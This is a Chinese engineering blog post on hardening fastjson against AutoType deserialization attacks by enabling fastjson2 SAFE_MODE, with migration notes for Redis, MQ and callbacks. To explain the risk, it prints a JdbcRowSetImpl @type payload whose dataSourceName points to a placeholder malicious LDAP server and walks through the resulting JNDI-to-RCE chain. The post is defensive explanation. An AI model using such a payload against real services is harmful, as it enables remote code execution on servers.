fastjson-safe-mode-安全加固说明
约 3480 字大约 12 分钟
2026-07-29
一、背景
公司是做海外信贷业务的,系统跑了好几年了,早期项目赶工期,代码写得比较粗放。
前阵子安全组发了一轮隐患排查通知,大意是:项目里用的 fastjson 存在反序列化安全风险,要求各服务评估并开启 SAFE_MODE。
通知就这么多。没了。
我当时看完就一个反应——风险到底在哪? 我知道 fastjson 被爆过漏洞,但具体到我们项目里,是哪行代码、哪个环节会出事?SAFE_MODE 又是个什么东西,凭什么开了它就安全了?
光看通知看不明白,得自己去翻源码。这恰好是我最喜欢的环节。
于是我把 fastjson2 的 ObjectReaderProvider.checkAutoType() 方法从头到尾读了一遍,又顺着调用链往上追,搞清楚了整条攻击链路和 SAFE_MODE 的拦截点。下面把这些东西掰开了讲清楚。
排查中发现的两个集中问题
1)大量接口直接用 JSONObject 接参数
随便翻几个 Controller,入参都是这么写的:
@PostMapping("/repay/query")
public Result queryRepayPlan(@RequestBody JSONObject params) {
String orderNo = params.getString("orderNo");
Integer period = params.getInteger("period");
// ...
}这种写法本身不是漏洞,但它带来一个坏习惯——因为入参是 JSONObject,开发同学图省事,经常直接 JSON.parseObject(str) 不带目标类型,或者从 Redis、MQ 里取出来的 JSON 字符串也是无脑 parse。一旦 JSON 内容里被人塞了 @type 字段,fastjson 就会尝试去加载这个类、反射实例化,这就给反序列化攻击留了口子。
2)fastjson 版本存在已知 CVE
排查依赖树发现,部分模块还在用 fastjson 1.2.x 的早期版本,或者升到了 fastjson2 但没有做任何 AutoType 管控。fastjson 从 2017 年至今被曝出过几十个反序列化 RCE 漏洞,核心原因都指向同一个功能——AutoType。
这两个问题叠在一起,安全组要求统一开启 SAFE_MODE 就合理了。但"合理"和"理解"是两回事,下面我从源码角度把整件事讲透。
二、先搞懂 AutoType 是个什么东西
正常情况下的用法
fastjson 序列化对象的时候,可以往 JSON 里写一个 @type 字段,记录这个对象的 Java 类名:
{
"@type": "com.chainfin.entity.RepayPlan",
"orderNo": "MX20260701001",
"amount": 5000.00,
"period": 3
}反序列化的时候,fastjson 一看有 @type,就知道:"哦,要给我创建一个 RepayPlan 对象",然后通过反射 new 出来,把字段一个个塞进去。
好处是——调用方不需要告诉 fastjson 目标类型是什么,JSON 自己"自带说明书"。
问题出在哪
@type 里的类名,是从 JSON 数据里读出来的。而这个 JSON 数据,很可能来自外部——HTTP 请求体、MQ 消息、Redis 缓存、第三方回调……
攻击者只要往请求体里塞这么一段:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://恶意服务器地址/Exploit",
"autoCommit": true
}fastjson 会老老实实地:
- 反射创建
JdbcRowSetImpl - 调
setDataSourceName(...)设置数据源 - 调
setAutoCommit(true)→ 触发 JNDI 查找 → 去攻击者的服务器拉了一个恶意类回来 → 远程代码执行(RCE)
服务器直接被人拿了。
这就是 fastjson 这么多年反复被爆漏洞的根本原因。不是某个类有 bug,而是 "根据外部输入去反射加载任意类"这个机制本身就是危险的。
三、从黑名单到 SAFE_MODE
fastjson 并不是从一开始就摆烂的,官方这些年一直在补窟窿,防护策略经历了好几个阶段:
阶段1:黑名单(deny)
最早的思路很朴素——把已知的危险类拉黑。JdbcRowSetImpl 能搞事?拉黑。TemplatesImpl 能搞事?拉黑。来一个封一个。
问题是:JDK 和各类第三方库里的危险类成百上千,攻击者总能找到你没封过的新 gadget。这就是经典的"打地鼠"——你封得永远没有人家找得快。fastjson 1.2.24 到 1.2.68 之间反复被绕过,来来回回修了十几轮,全是这个原因。
阶段2:白名单(accept)
后来官方换了个思路:不封坏的了,只放好的。你配一个包前缀白名单,比如 com.chainfin.,只有这个包下的类才允许被 AutoType 加载,其他一律拒绝。
比黑名单靠谱多了,但还是有坑:
- 配置太宽泛(比如有人直接 allow 了
com.)等于没配 - 白名单内的类如果自身有危险方法(比如内部调了
Runtime.exec),白名单管不到类内部逻辑 - 配置散落在代码各处,容易被覆盖或遗漏
阶段3:默认关闭 AutoType
fastjson 1.2.68 开始,AutoType 默认就是关的,你不主动打开就不会触发。这已经比之前安全很多了。
但"默认关闭"和"不可能打开"是两回事。代码里一句 ParserConfig.getGlobalInstance().setAutoTypeSupport(true) 就能重新打开。万一某个第三方 jar 包偷偷调了呢?万一新来的同事不知道风险,为了调通一个功能给打开了呢?
阶段4:SAFE_MODE(fastjson2)
到了 fastjson2,官方终于想明白了——安全这件事,不能交给应用代码来管。于是搞了 SAFE_MODE:
- 由 JVM 启动参数或环境变量控制,代码层面没有任何 API 能修改它
static final,启动时一锤定音,运行期间不可变- 位于
checkAutoType方法的最前面,一旦为 true,后面所有逻辑(白名单、黑名单、loadClass)全部跳过
说白了就是:把"能不能开 AutoType"这个决定权,从程序员手里收走了,交给了运维和基础设施。 你代码写得再花哨,JVM 参数说不开就不开。
四、SAFE_MODE 到底是什么
一句话:SAFE_MODE 是 fastjson2 提供的最高级别安全开关,开了之后,AutoType 功能彻底死透,代码层面没有任何办法再把它打开。
它的本质就是一个 JVM 启动时读取的静态布尔值:
public static final boolean SAFE_MODE =
Boolean.getBoolean("fastjson2.safeMode")
|| "true".equalsIgnoreCase(System.getenv("FASTJSON2_SAFE_MODE"));注意两个关键词:
- static final:启动时确定,运行期间改不了
- JVM 参数 / 环境变量:由运维控制,业务代码碰不到
在 fastjson2 源码里,checkAutoType 方法一进来就判断:
if (SAFE_MODE) {
return null; // 直接走人,后面的逻辑一行都不执行
}返回 null 的意思就是:你 JSON 里写了 @type 是吧?我不认,当没看见。不加载类、不反射、不实例化,爱谁谁。
五、为什么非得用这种"一刀切"的方案
可能有人会说:我用白名单不就行了?只允许加载 com.chainfin. 包下的类,其他全拒绝。
能用,但不够稳。原因:
| 方案 | 风险点 |
|---|---|
| 黑名单 | 封了 100 个危险类,攻击者找到第 101 个就绕过去了,永远在打地鼠 |
| 白名单 | 配了 com.chainfin.,但万一有人写了个类内部调了 Runtime.exec 呢?白名单管不到类内部逻辑 |
代码里 setAutoTypeSupport(false) | 某个第三方 jar 包或者新来的同事又给 setAutoTypeSupport(true) 打开了,你根本不知道 |
| SAFE_MODE | 不存在"打开"这个选项。代码里写什么都没用,JVM 参数说了算 |
SAFE_MODE 的设计哲学就是:安全策略不应该交给应用代码来管,应该由基础设施层(启动参数、容器环境变量)来锁定。
攻击者就算把 fastjson 的源码翻烂,也找不到一个 API 能在运行时关掉 SAFE_MODE。攻击链在第一步就断了。
六、安全性提升在哪
把攻击路径画出来就一目了然了:
没有 SAFE_MODE 时的攻击路径:
恶意JSON → @type → checkAutoType → 绕过黑白名单 → loadClass → 反射实例化 → setter触发 → RCE每一步都有可能被绕过,尤其是"绕过黑白名单"这一步,历史上被绕了无数次。
有 SAFE_MODE 后:
恶意JSON → @type → checkAutoType → return null → 结束。
↑
攻击链在此彻底断裂没了。就这一步。后面的 loadClass、反射、setter,全都不会发生。
本质提升
1. 消灭攻击面,而不是拦截攻击
以前的思路是"坏类来了我挡住",问题是坏类是堵不完的。SAFE_MODE 的思路是——我压根不加载任何类。没有类加载,就没有反射,就没有 RCE。你不是要找 gadget 吗?对不起,这里没有类可以给你 gadget。
2. 不可绕过
无论攻击者明天又发现了一个新的危险类、新的 gadget 链,SAFE_MODE 下都不可能触发。因为 loadClass 这个方法根本不会被调用到,你发现多少个新 gadget 都没用,门都没有。
3. 不可被代码关闭
就算项目里引入了一个有漏洞的第三方 jar 包,它内部偷偷调了 setAutoTypeSupport(true),也没用。SAFE_MODE 是 JVM 参数控制的 static final 变量,没有任何运行时 API 能修改它。第三方包也好、内部代码也好,谁都关不掉它。
这三点加在一起,才是 SAFE_MODE 跟之前所有防护方案的本质区别——它不是"更好的拦截",而是"直接消灭了被攻击的可能性"。
七、对我们项目哪些地方有影响
不受影响的(放心用)
日常开发中绝大多数用法都不依赖 @type,完全不受影响:
// 指定目标类型解析 —— 不影响
Order order = JSON.parseObject(jsonStr, Order.class);
List<RepayPlan> list = JSON.parseArray(jsonStr, RepayPlan.class);
// 序列化 —— 不影响
String json = JSON.toJSONString(order);
// 当 Map 用 —— 不影响
JSONObject obj = JSON.parseObject(jsonStr);
String name = obj.getString("name");这些写法跟 AutoType 没有半毛钱关系,SAFE_MODE 开了跟没开一样。
会受影响的
凡是依赖 @type 来确定具体类型的场景,开了 SAFE_MODE 之后全部失效:
// 1. 不传目标类型,指望 @type 自动识别
Object obj = JSON.parseObject(jsonStr);
// 以前:返回 @type 指定的具体对象
// 现在:返回一个 JSONObject,@type 当普通字段处理
// 2. 显式开启 SupportAutoType
JSON.parseObject(jsonStr, BaseResult.class, JSONReader.Feature.SupportAutoType);
// 现在:Feature 无效,@type 被忽略
// 3. 多态字段
public class CallbackResponse {
private BaseChannelResult result; // 抽象类,靠 @type 决定是 AlipayResult 还是 WechatResult
}
// 现在:result 反序列化不出来,为 null
// 4. Redis / MQ 里存了带 @type 的 JSON
// 以前存进去的缓存数据,现在读出来解析会失败排查重点
结合我们项目的实际情况,需要重点看:
- Controller 层用 JSONObject 接参后,有没有二次 parse 且不带目标类型的
- Redis 缓存的序列化方式——如果用了 fastjson 的
GenericFastJsonRedisSerializer,历史缓存数据里可能带@type - MQ 消息体——生产者和消费者是否约定了带
@type的格式 - Dubbo / RPC 调用——如果序列化协议选了 fastjson,接口参数里有接口类型/抽象类型的
- 第三方回调解析——支付渠道回调的 JSON 解析逻辑
实际踩坑点
以前我习惯直接用 fastjson 做 Redis 的序列化存储,图的就是一个方便——对象往里一丢,取出来自动还原,不用自己写转换逻辑。
但你打开 Redis 客户端看一眼存进去的数据就会发现,每个对象都带了一个 @type 字段:
{
"@type": "com.chainfin.entity.RepayPlan",
"orderNo": "MX20260701001",
"amount": 5000.00,
"period": 3
}这就是 GenericFastJsonRedisSerializer 干的事——它序列化时自动写入 @type,反序列化时再根据这个字段去反射加载类。
一旦开了 SAFE_MODE,反序列化这一步直接不认 @type 了,取出来的就不是你要的对象,而是一个普通的 JSONObject,甚至直接报错。
这就是对我们项目最直接的冲击点:Redis 里已经存了大量带 @type 的历史数据,开启 SAFE_MODE 后这些数据全部无法正常反序列化。
所以不是光改个启动参数就完事的,还得处理存量缓存数据,或者把序列化方式换掉。
八、怎么开启
方式一:JVM 启动参数(推荐)
在各服务的启动命令里加:
java -Dfastjson2.safeMode=true -jar ms-mexicopays-pays.jar方式二:环境变量(容器化部署推荐)
export FASTJSON2_SAFE_MODE=trueK8s 的 Deployment yaml 里:
env:
- name: FASTJSON2_SAFE_MODE
value: "true"方式三:如果用 fastjson1 兼容包
项目里如果引的是 fastjson2-compatible(包名还是 com.alibaba.fastjson),开启方式一样,底层引擎是同一套,SAFE_MODE 对兼容 API 同样生效。
九、上线前要做的事
- 全局搜索
@type——看代码里有没有手动拼@type字段、或者依赖@type做反序列化的 - 全局搜索
SupportAutoType——看有没有显式开启 AutoType 的地方 - 检查 Redis 序列化器配置——确认不是
GenericFastJsonRedisSerializer,如果是,换成StringRedisSerializer+ 手动指定类型 - 灰度验证——先在一个服务上开 SAFE_MODE,跑一轮回归,确认没有 ClassCastException 或者字段莫名为 null 的情况
- 清理历史缓存——如果 Redis 里存了带
@type的老数据,上线后需要清一下对应的 key
十、总结
| 项目 | 说明 |
|---|---|
| SAFE_MODE 是什么 | fastjson2 的 JVM 级全局开关,彻底禁用 AutoType |
| 解决什么问题 | 杜绝通过 @type 字段触发反序列化 RCE 攻击 |
| 为什么不用白名单 | 白名单可被代码覆盖、配置失误可被绕过,SAFE_MODE 不可被代码修改 |
| 对常规开发的影响 | 指定目标类型的 parse/toJSON 完全不受影响 |
| 需要改的地方 | 依赖 @type 做多态反序列化的代码、Redis 序列化配置 |
| 开启方式 | -Dfastjson2.safeMode=true 或环境变量 FASTJSON2_SAFE_MODE=true |
说白了就一句话:以前 fastjson 会"自作主张"根据 JSON 内容去加载类,SAFE_MODE 就是告诉它"以后不许自作主张,我让你加载什么你才加载什么,我没说的,一律不认"。
攻击者再怎么能构造恶意 @type,fastjson 看都不看一眼,直接当字符串处理。攻击链从根上断了。